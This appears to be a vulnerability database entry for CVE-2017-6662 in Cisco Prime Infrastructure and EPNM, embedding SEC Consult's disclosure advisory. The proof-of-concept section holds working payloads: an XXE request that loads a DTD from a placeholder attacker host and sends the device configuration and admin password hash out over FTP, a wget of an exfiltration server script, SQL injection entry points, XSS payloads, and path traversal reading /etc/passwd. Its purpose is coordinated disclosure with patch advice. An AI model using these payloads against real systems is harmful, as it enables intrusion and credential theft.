ID

VAR-201706-0581

CVE

CVE-2017-6662

TITLE

Cisco PI and EPNM of Web Base user interface XML External entity vulnerabilities

DESCRIPTION

A vulnerability in the web-based user interface of Cisco Prime Infrastructure (PI) and Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker read and write access to information stored in the affected system as well as perform remote code execution. The attacker must have valid user credentials. The vulnerability is due to improper handling of XML External Entity (XXE) entries when parsing an XML file. An attacker could exploit this vulnerability by convincing the administrator of an affected system to import a crafted XML file with malicious entries which could allow the attacker to read and write files and execute remote code within the application, aka XML Injection. Cisco Prime Infrastructure software releases 1.1 through 3.1.6 are vulnerable. Cisco EPNM software releases 1.2, 2.0, and 2.1 are vulnerable. Cisco Bug IDs: CSCvc23894 CSCvc49561. Vendors have confirmed this vulnerability Bug ID CSCvc23894 and CSCvc49561 It is released as.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Attackers can exploit this issue to execute arbitrary code, gain access to sensitive information or cause denial-of-service conditions. Cisco Evolved Programmable Network Manager 1.2, 2.0, and 2.1. PI is a set of wireless management solutions through Cisco Prime LAN Management Solution (LMS) and Cisco Prime Network Control System (NCS) technologies; EPNM is a set of network management solutions. SEC Consult Vulnerability Lab Security Advisory < 20170622-0 > ======================================================================= title: XML External Entity Injection (XXE), SQL Injection, Cross Site Scripting, Local File Disclosure product: Cisco Prime Infrastructure vulnerable version: 1.1 through 3.1.6 fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release) CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700 impact: high homepage: http://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Cisco Systems, Inc. (known as Cisco) is an American multinational technology conglomerate headquartered in San JosA(c), California, that develops, manufactures, and sells networking hardware, telecommunications equipment, and other high-technology services and products. Through its numerous acquired subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper, Cisco specializes into specific tech markets, such as Internet of Things (IoT), domain security, and energy management." Source: https://en.wikipedia.org/wiki/Cisco_Systems Business recommendation: ------------------------ SEC Consult recommends to install the latest patch to fix the identified vulnerabilities. Since SEC Consult only performed a short security crash test on this product it is highly recommended to perform a thorough security review as there are indications for further vulnerabilities. Vulnerability overview/description: ----------------------------------- SEC Consult was able to identify some serious vulnerabilities with the low privileged "monitor-only" user. The hashed password of the local admin user can be accessed without authorization. 2) SQL Injection (CVE-2017-6698) The identified SQL injection vulnerability enables an authenticated attacker with low privileges to execute arbitrary SQL commands. 3) Cross site scripting (CVE-2017-6699, CVE-2017-6700) Due to the lack of input validation, an attacker can insert malicious JavaScript code to be executed under a victim's browser context. 4) Local File Disclosure (no CVE assigned) Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2017-6662) Login with a low privileged user and navigate to Settings > Export > select Format 'PDF' click 'Export'. Make sure the 'Chart' option is selected, this chart uses XML to build SVG images. POST /webacs/prime/ui/dashboard/renderer HTTP/1.1 Host: <CiscoPrimeHost> [...] output-type=pdf&content={"applicationName":"sectest","reportName":"Site","options":{},"timezoneOffset":0,"items":[{"options":{"filters":[],"additionalInfo":[""]},"svgSurface":{"svg":"<%3fxml+version%3d\"1.0\"+encoding%3d\"UTF-8\"%3f><!DOCTYPE x [<!ENTITY %25 foo SYSTEM \"http://<AttackerHost>:1234/sectest.dtd\">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><svg+xmlns%3alink%3d\"http%3a//www.w3.org/1999/xlink\"+xmlns%3d\"http%3a//www.w3.org/2000/svg\"><defs/><text>%26%65%78%66%69%6c%3b</text></svg>","dims"%3a{"width"%3a0,"height"%3a0}},"csv"%3a"Devices,\"","title"%3a"","timestamp"%3a""}],"noBrandingData"%3atrue,"locale"%3a"en"}&pdfOptions=%7B%22table%22%3Atrue%2C%22chart%22%3Atrue%7D $ cat sectest.dtd <!ENTITY % data SYSTEM "file:///storedconfig/active/startup-config"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>"> $ python -m SimpleHTTPServer 1234 $ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb $ ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_66@ > 230 more data please! < TYPE I > 230 more data please! < CWD ! > 230 more data please! < hostname <CiscoPrimeHost> [...] < ! > 230 more data please! < username admin password hash <AdminHashedPassword> > 230 more data please! < CWD role admin > 230 more data please! < ! [...] 2) SQL Injection (CVE-2017-6698) A low privileged user such as "monitor-only" user can read the admin's password hashes via SQL injection. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_RECENT_LINKS?categoryPath=global%2fPI_RECENT_LINKS<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/device-rest/getfiltercriteria/device?start=0&count=100&id=<SQL-Injection>&path=%2Froot Some vulnerable entry points require administrator privileges to exploit. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_HOME_PAGE_SELECTION?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/corelated-right-tabs?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/DASHBOARD_CONFIG:com_cisco_xmp_web_page_smartlicense_dashboard?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/userService/getAuditRecordsForGivenRange/?userName=/<SQL-Injection>&ipAddress=/<SQL-Injection>&time=/<SQL-Injection>&auditDescription=/<SQL-Injection>&userGroup=/<SQL-Injection>&activeDomain=/<SQL-Injection> https://<CiscoPrimeHost>/webacs/inventoryRestService/ifm/inventory-rest/getImportTaskStatusDTO/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getJobDetails/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobsCtr/Infrastructure/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobs/<SQL-Injection>/Lightweight%20AP%20Operational%20Status Some URLs with this pattern are affected by the SQL injection vulnerability in the JSON field. https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.proxy/ (HTTP POST) { "items": [ "<SQL-Injection>", "ProxyPort", "ProxyUserName", "ProxyPassword", "isProxyEnabled", "isProxyAuthenticated" ] } https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.swim/ (HTTP POST) { "items": [ "<SQL-Injection>", "CCOPassword" ] } 3) Cross site scripting a) Reflected cross site scripting (CVE-2017-6699) https://<CiscoPrimeHost>/webacs/applications/common/jsp/SystemPreferences_Configurable.jsp?taskName=<img+src=x+onerror=alert(/XSS1/)>&confUrl=</ScR</ScRipT>ipT><img+src=x+onerror=alert(/XSS2/)> https://<CiscoPrimeHost>/webacs/applications/inventory/html/ImportJobResults.jsp?taskId=</sc</script>ript><img+src=x+onerror=alert(/XSS1/)>&jobResultPageId='><img+src=x+onerror=alert(/XSS2/)> b) DOM-based cross site scripting (CVE-2017-6700) https://<CiscoPrimeHost>/webacs/index_abs.jsp?theme=prime#pageId=com_cisco_ifm_ui_web_page_job_dashboard_import_view&taskId=<ExistingTaskID>&jobName="><img src=x onerror=alert(/XSS/)>&pageSettings= https://<CiscoPrimeHost>/webacs/loginAction.do?action=login&product=wcs&selectedCategory=en#pageId=com_cisco_ifm_ui_web_page_job_dashboard_detail_view&forceLoad=true&jobType=Infrastructure&workState=Scheduled&parentType=usrDefined&lastRunJobId=<ExistingJobId>&lastRunResultState=Success&jobId=<ExistingJobId>&jobName=Mobility Service Status&jobBreadcrumName="><img src=x onerror=alert(/XSS/)> 4) Local File Disclosure The attacker must be in the super users or admin group in order to exploit this vulnerability. https://<CiscoPrimeHost>/webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd GET /webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: <CiscoPrimeHost> [...] HTTP/1.1 200 OK Cache-Control: private Expires: Thu, 01 Jan 1970 01:00:00 CET Content-Disposition: attachement; filename="../../../../../../../../../../../../../../../../../../../../etc/passwd.zip" Content-Type: application/zip [...] $ unzip _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip Archive: _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip warning: skipped "../" path component(s) in ../../../../../../../../../../../../../../../../../../../../etc/passwd inflating: etc/passwd $ cat etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt [...] Vulnerable / tested versions: ----------------------------- According to information provided by Cisco, the following versions are affected: 1.1 through 3.1.6 SEC Consult tested the following versions which were the most recent ones at the time of discovery: * 3.1.0.0.70 * 3.1.0.0.132 incl. 3.1.4 patch Vendor contact timeline: ------------------------ 2016-11-23: Contacting vendor through psirt@cisco.com. 2016-11-23: Initial response from Cisco PSIRT. 2016-11-24: Additional vulnerabilities added. 2016-12-14: Cisco proposed target date for the fixes for March 2017. 2017-03-03: Cisco postponed target date for the fixes to 31 May 2017. 2017-05-16: Cisco postponed target date for the fixes to 21 June 2017. 2017-06-14: CVEs are assigned to the vulnerabilities. 2017-06-21: Patches available 2017-06-22: Coordinated release of security advisory. Solution: --------- Install the patch version 3.1.6 Update 1. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Pichaya Morimoto / @2017

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

code problem

CONFIGURATIONS

EXPLOIT AVAILABILITY

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

The vendor reported this issue.

SOURCES

LAST UPDATE DATE

2024-11-23T22:38:28.025000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE